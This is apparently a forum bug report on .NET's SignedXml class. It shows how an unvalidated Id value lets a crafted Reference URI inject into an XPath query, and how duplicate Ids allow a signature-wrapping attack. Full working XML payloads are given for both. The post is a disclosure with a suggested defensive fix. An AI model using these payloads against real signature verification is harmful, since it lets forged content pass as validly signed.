Class SignedXml is used to produce/verify signature over XML document. One of its methods, function GetIdElement, is used to select Xml elements for signature and verification and consist following line:
xmlElement = document.SelectSingleNode(String.Concat("//*[@Id=\"", idValue, "\"]")) is XmlElement;
I can see two issues with this line
1. URI injection - there is no validation of idValue whatsoever; therefore I can successfully validate document below (see what is the URI). I have control over XPATH query you are performing. Although I cannot find any "dangerous" functions in XPATH specification, I think it is bug that should be fixed, especially before XPATH 2.0
<test><el1 Id="abc" /><el2 noid="qwerty" /><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" /><Reference URI="#abc1"] | //*[@noid="qwerty"><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" /><DigestValue>Lb1b1rf+AbI+zRYHnL3AQXLfWoQ=</DigestValue></Reference></SignedInfo><SignatureValue>sUfpZr66IpdqxsfEafIh+lU bRJCifQWGjSckVMNlOqoa2RA/UPFRPcajTbbSe+URVU+MrU9cV1bhP8nH4DNNuWy3Kdmy2mhXxO bqsPLqfwf5bOSwFEpGckQq52+YrIx+Wi127VfdQMqC33J7Afm/trY5c0O6I2cFswm0EWgeFW8=</SignatureValue></Signature></test>
2. Why SelectSingleNode is used instead of SelectNodes? Because of it only the first element is returned and no exception is raised if there are two XML elements with the same Id. I can use it and having one valid signature create new docment (with the same Id) and signature will be still valid. Example below:
I have
<test><el1 Id="abc" /><el2 Id="qwerty">value1</el2><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" /><Reference URI="#qwerty"><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" /><DigestValue>vTwJDnUsVD3k4J+SadUZRK5tp6k=</DigestValue></Reference></SignedInfo><SignatureValue>ju9QkFABobpzShI1cHImx+o eo3Bttzge+So407KZ47ViSpxpcjfCDMbPoeDyFkGCC99O/vKhkwcCq9iqPgdajgtBQ+ZjUTODRwVMNxz42Z3Vq0Yu+UJHA2g GIaCyQpLBYGSAwqo8rdTw5Fv1Bi5Br441wGkAQS/lblTK2ubZRcA=</SignatureValue></Signature></test>
I can create
<test><el1 Id="abc"><el2 Id="qwerty">value1</el2></el1><el2 Id="qwerty">value2</el2><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" /><Reference URI="#qwerty"><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" /><DigestValue>vTwJDnUsVD3k4J+SadUZRK5tp6k=</DigestValue></Reference></SignedInfo><SignatureValue>ju9QkFABobpzShI1cHImx+o eo3Bttzge+So407KZ47ViSpxpcjfCDMbPoeDyFkGCC99O/vKhkwcCq9iqPgdajgtBQ+ZjUTODRwVMNxz42Z3Vq0Yu+UJHA2g GIaCyQpLBYGSAwqo8rdTw5Fv1Bi5Br441wGkAQS/lblTK2ubZRcA=</SignatureValue></Signature></test>
Signature will be successfully validated, but instead of value1 my code responsible for deserialization el2 will use value2.
Of course multiple Id are not permitted; therefore I would expect that it should raise an exception, instead of happily validating signature.
My suggestion for everyone who uses this class is two create a new class, inherit from SignedXml and overload GetIdElement class.
Cheers,
Pak76
